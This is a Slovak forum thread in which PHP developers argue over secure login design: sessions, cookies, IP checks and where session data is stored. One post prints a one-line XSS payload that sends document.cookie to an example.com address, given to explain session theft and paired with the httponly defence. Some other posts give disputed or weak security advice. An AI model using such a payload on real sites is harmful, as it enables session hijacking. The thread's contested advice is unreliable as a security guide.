Stránka: 1 z 1
| [ Príspevkov: 29 ] | |
Autor | Správa |
---|
Registrovaný: 29.12.05 Prihlásený: 14.08.18 Príspevky: 539 Témy: 62 | 62 Bydlisko: 127.0.0.1 (... |
Zdravim.
Mam otazku ohladom prihlasovania uzivatelov.
Jednoduchsie prihlasovanie ovladam, teraz mam zaujem o mozno zlozitejsie ale hlavne bezpecne prihlasenie. Neviem, ci mam pouzit Sessiony, alebo Cookies, popripade kombinaciu a akym stylom pouzit/kontrolovat a ako treba porovnavat IP adresu. Dalej neviem na co treba brat ohlad na ochranu proti XSS/SQL utokom (a ake opatrenia treba na skriptoch a formoch). A nakoniec ma zaujma ci treba pouzit unixstamp a porovnania nejakeho minuleho casu s aktualnym na zistenie platnosti. Viem, ze na vsetko toto treba brat ohlad a pouzit to (pokial poznate este nejaky prvok sem s nim) , ale neviem do akej miery a akym stylom. Jednotlive tieto casti zvladam, ale ma zaujima ake je optimalna kombinacia vsetkych tychto (a dalsich) prvkov
Prihlasovanie chcem normalne email-heslo cez form, ziadne http auth.
Diky
_________________ "Kde končí hiphop, začína IQ." |
|
Registrovaný: 13.11.07 Prihlásený: 20.08.16 Príspevky: 1702 Témy: 0 | 0 |
Na prihlasovanie na 99,99% tie session použiješ. Otázne je len to, akým spôsobom si prenesieš session id (či využiješ cookie, alebo niečo iné).
Každopádne najskôr by si si mal niečo o tom nájsť a prečítať si to (napr. aj na tomto fóre).
|
|
Registrovaný: 10.02.08 Prihlásený: 15.05.17 Príspevky: 2264 Témy: 48 | 48 Bydlisko: Nitra |
Po spravnom prihlaseni ulozis do session povedzme nick a premennu prihlaseny s hodnotou ano. Kazdy script ti bude zacinat overenim, ci sa v session nachadza nick a prihlaseny s hodnotou ano, ked nie, ma dany uzivatel smolu. Toto bohate staci. Cookies mozes vyuzit max. na to, aby sa do policok nick a heslo pri logine automaticky vypisalo nick aj heslo, resp. aby sa uzivatel rovno prihlasoval, pokial je na rovnakom pocitaci, tak ako je to tu na fore
Co sa tyka IP, mozes ju dakde logovat, do dajakej tabulky v DB, ale je to fakt len na overenie, dneska moze mat kazdy IP aku ste S utokmi ty nic nenarobis, to je vec zabezpecenia serveru
_________________ WYSIWYMGIYRRLAAGW: What You See Is What You Might Get If You’re Really Really Lucky And All Goes Well. |
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
No tak IP kontrolovať je hlúposť. Cookies pri prihlásení ako takom tiež nevyužiješ (iba pri automatickom).
A teraz, do session si budeš zaznamenávať každý neúspešný pokus, pri istom počte mu zakážeš prihlasovanie (a môžeš uložiť aj do cookies). Po úspešnom prihlásení dáš: session_regenerate_id(), a uložíš si aj identifikátori do session aby si vedel či je prihlásený ...
|
|
Registrovaný: 04.04.07 Prihlásený: 17.07.24 Príspevky: 532 Témy: 35 | 35 Bydlisko: Bratislava |
to kde si prisiel na taku somarinu, ze IP netreba kontrolovat? hovori ti nieco session stealing?
_________________ CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX |
|
Registrovaný: 21.01.07 Prihlásený: 29.03.20 Príspevky: 660 Témy: 53 | 53 |
Kód: A teraz, do session si budeš zaznamenávať každý neúspešný pokus, pri istom počte mu zakážeš prihlasovanie (a môžeš uložiť aj do cookies).
Ukladať veci do session nie je bezpečné. Podobne, ako píše djsulo.
|
|
Registrovaný: 26.11.06 Prihlásený: 09.10.24 Príspevky: 4118 Témy: 319 | 319 Bydlisko: HE/BA |
Kde sa ukladajú sessions? Na serveri alebo na klientovi?
|
|
Registrovaný: 21.01.07 Prihlásený: 29.03.20 Príspevky: 660 Témy: 53 | 53 |
Na server, lenže pokiaľ ide o server, na ktorý sa pripájajú viacerí užívateľa, môže to predstavovať riziko.
|
|
Registrovaný: 26.02.08 Prihlásený: 24.05.13 Príspevky: 372 Témy: 66 | 66 Bydlisko: Nové Zámky |
ake? ako sa to da zneuzit?
|
|
Registrovaný: 21.01.07 Prihlásený: 29.03.20 Príspevky: 660 Témy: 53 | 53 |
Niekde som čítal, že pokiaľ sa používa pre session na jednom serveri pre všetkých používateľov jeden dočasný priečinok, každý z užívateľov má prístup do tohto priečinka, a tak môže prečítať aj iné sessions.
|
|
Registrovaný: 04.04.07 Prihlásený: 17.07.24 Príspevky: 532 Témy: 35 | 35 Bydlisko: Bratislava |
na niektorych serveroch, neviem ci na vsetkych, session idcka sa ukladaju do jedneho foldera, spolu s udajmi ktore session obsahuje.
_________________ CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX |
|
Registrovaný: 13.11.07 Prihlásený: 20.08.16 Príspevky: 1702 Témy: 0 | 0 |
pepek92 píše: Niekde som čítal, že pokiaľ sa používa pre session na jednom serveri pre všetkých používateľov jeden dočasný priečinok, každý z užívateľov má prístup do tohto priečinka, a tak môže prečítať aj iné sessions. Session si môžeš ukladať napr. do DB (alebo aj ako súbory, nemusíš používať "základný" spôsob, čo je v Php).
@Svolo Cookies môžeš využiť na ukladanie session id (a nie len na ukladanie mena...).
|
|
Registrovaný: 26.11.06 Prihlásený: 09.10.24 Príspevky: 4118 Témy: 319 | 319 Bydlisko: HE/BA | |
Registrovaný: 09.07.08 Prihlásený: 17.01.15 Príspevky: 1585 Témy: 96 | 96 |
Rád by som sa zapojil do vašej debaty. Neviem, kde začať, tak bude písať ako mi prsty padnú na klávesnicu.
Ako funguje session (session.save_handler = files) - Na serveri sa ukladajú súbory so serializovanými premennými zo $_SESSION. Klientovi pošleme cookie (cez hlavičku), v ktorom má session id.
Keďže je to cookie, za bežných okolností sa dá ukradnúť cez obyčajné xss, príklad takého "útoku": Kód: a=document.createElement("img"); a.src="http://www.example.com/abc.php?"+document.cookie Toto sa dá ošetriť nastavením v php.ini Kód: session.cookie_httponly = true
Ukladať session do db neodporúčam. Pokiaľ to nie je prepracované dostatočne, tak to spôsobí zas ďalšie problémy, možno ešte väčšie.
Čo tu niekto spomínal to, že k tomu súboru má prístup každý užívateľ (pokiaľ nie je nastavené inak), problém môže byť ak máte rovnaký hosting ako útočník. Môže si jednoducho nastaviť v cookies sessionid získané z vašej stránky a robiť tam zmeny.
Ale nemalo by to vadiť, pokiaľ paranoidne preverujete každú hodnotu, či už z cookies, session, post, get, files alebo z databázy. Pretože nikdy neviete, kto sa vám nabúra do ktorej vrstvy v systéme.
Ja robím ešte takú jednu somarinku, celkom to aj funguje, že v session si uložím premennú, v ktorej je hash z ip adresy, pevne daného stringu, http_host, user_agent a neviem čoho ešte všetkého.
Čiže ak niekto aj ukradne sessionid, tak mu to nepomôže, pretože nebude mať ten správny z týchto v podstate nemenných premenných.
Jeden problém, čo mi napadá je, že keď niekto surfuje na notebooku, zavre notebook a pripojí sa niekde inde, už bude mať inú IP, čiže mu zruším session...
|
|
Registrovaný: 26.02.08 Prihlásený: 24.05.13 Príspevky: 372 Témy: 66 | 66 Bydlisko: Nové Zámky |
mno vyuzijem tento topic...chcem sa spytat...rozmysalm ze si budem nahodne generovat nejaky retazec...budem ho ukladat do tabulky k userovi...lenze otazka je ci prenasat retazec cez GET cookie alebo session....samozrejme pri overovani by som neoveroval iba ten retazec ale aj ine veci ako ip, cas kedy bol retazec vytvoreny (hash casu) napr prehliadac atd...len neviem kade prenasat ten retazec co by ste odporucali?
|
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
djsulo píše: to kde si prisiel na taku somarinu, ze IP netreba kontrolovat? hovori ti nieco session stealing?
Ty si kde prišiel na takú somarinu, že IP treba kontrolovať? (rovnako priblbá otázka). Dnes sa využívajú aj dynamické IPčky ... IP sa ti môže zmeniť kedykoľvek. Čiže je to neefektívne - nemá to zmysel ... malo by to zmysel keby boli IP statické.
pepek92: Nevrav Oveľa bezpečnejšie ako GET, POST či COOKIE
chrono: do DB ... nuž zaujímavý názor. DB je najpomalšia časť stránky. Určite, si nebudem ukladať session do DB z pretože:
1, musel by som vymyslieť fakt dobrý spôsob, ako to tam nejako logicky uložiť
2, nabúrať sa do DB je jednoduchšie ako nabúrať sa do SESSION
3, session pri istých podmienkách je skoro neukradnteľné (píšem skoro lebo nič nie je 100%)
|
|
Registrovaný: 21.01.07 Prihlásený: 29.03.20 Príspevky: 660 Témy: 53 | 53 |
Ak sa ti niekto nabúra do DB, tak či je alebo nie je tam session je už v podstate jedno.
|
|
Registrovaný: 04.04.07 Prihlásený: 17.07.24 Príspevky: 532 Témy: 35 | 35 Bydlisko: Bratislava |
tominator: vidim ze ti to nic nehovori... myslim ze je najmensi problem, ked sa niekomu zmeni IP, tak sa prihlasi este raz, ako ked niekto odchyti jeho session a zneuzije ju, nemyslis?
_________________ CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX |
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
pepek92: to je pravda
djsulo: nie nič mi to nevraví ... myslím že to ani nič podstatné neznamená, lebo session je od IP nezávislé
|
|
Registrovaný: 04.04.07 Prihlásený: 17.07.24 Príspevky: 532 Témy: 35 | 35 Bydlisko: Bratislava |
tak si najprv zisti o com hovorim
_________________ CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX |
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
djsulo píše: tak si najprv zisti o com hovorim
Ty si zisti o čom hovoríš -> session stealing (voľný preklad: kradnutie session). Existuje niekoľko spôsobov, najpoužívanejší je XSS. Takže miesto všeobecného pomenovania skús použiť niečo konkrétne
|
|
Registrovaný: 04.04.07 Prihlásený: 17.07.24 Príspevky: 532 Témy: 35 | 35 Bydlisko: Bratislava |
je to nato, ak ti niekto odchyti session a budes mat v nej ulozenu aj IP klienta, tak ju porovnas ci sedi, ak ti niekto ukradne session, v 99% pripadoch bude mat inu IP a session destroynes, uz je to jasne?
_________________ CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX |
|
Registrovaný: 26.02.08 Prihlásený: 24.05.13 Príspevky: 372 Témy: 66 | 66 Bydlisko: Nové Zámky |
mno moholi by ste reagovat aj na moju otazku
|
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
Blackdevil píše: ake? ako sa to da zneuzit?
Samozrejme ... veď keď získam tvoje session ID, tak sa budem tváriť ako ty -> t.j. budem prihlásený ako ty -> t.z. -> budem môcž čítať, mazať, upravovať
|
|
Registrovaný: 26.02.08 Prihlásený: 24.05.13 Príspevky: 372 Témy: 66 | 66 Bydlisko: Nové Zámky |
myslel som na prvej strane posledny prispevok na tamten ste mi odpovedali
|
|
Registrovaný: 27.11.08 Prihlásený: 30.01.20 Príspevky: 630 Témy: 98 | 98 Bydlisko: Veľký Krtíš... |
Blackdevil píše: myslel som na prvej strane posledny prispevok na tamten ste mi odpovedali Tominator píše: Ty si kde prišiel na takú somarinu, že IP treba kontrolovať? (rovnako priblbá otázka). Dnes sa využívajú aj dynamické IPčky ... IP sa ti môže zmeniť kedykoľvek. Čiže je to neefektívne - nemá to zmysel ... malo by to zmysel keby boli IP statické. pepek92: Nevrav Oveľa bezpečnejšie ako GET, POST či COOKIEchrono: do DB ... nuž zaujímavý názor. DB je najpomalšia časť stránky. Určite, si nebudem ukladať session do DB z pretože: 1, musel by som vymyslieť fakt dobrý spôsob, ako to tam nejako logicky uložiť 2, nabúrať sa do DB je jednoduchšie ako nabúrať sa do SESSION 3, session pri istých podmienkách je skoro neukradnteľné (píšem skoro lebo nič nie je 100%)
|
|
Registrovaný: 21.02.07 Prihlásený: 21.02.10 Príspevky: 3984 Témy: 96 | 96 |
Blackdevil píše: mno vyuzijem tento topic...chcem sa spytat...rozmysalm ze si budem nahodne generovat nejaky retazec...budem ho ukladat do tabulky k userovi...lenze otazka je ci prenasat retazec cez GET cookie alebo session....samozrejme pri overovani by som neoveroval iba ten retazec ale aj ine veci ako ip, cas kedy bol retazec vytvoreny (hash casu) napr prehliadac atd...len neviem kade prenasat ten retazec co by ste odporucali?
Ako som už povedal, a NickVK prepojil, session je vhodná voľba.
|
|
Registrovaný: 26.11.06 Prihlásený: 09.10.24 Príspevky: 4118 Témy: 319 | 319 Bydlisko: HE/BA |
Tominator, úprimne pochybujem, že je jednoduchšie nabúrať sa do DB ako si ukradnúť SESSION.
|
|
Registrovaný: 17.10.06 Prihlásený: 08.01.11 Príspevky: 1752 Témy: 17 | 17 |
flety to zalezi od konkretneho pripadu. ak je web spraveny na chuja, obe veci su trivialne.
_________________ A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table. |
|
Stránka: 1 z 1
| [ Príspevkov: 29 ] | |
|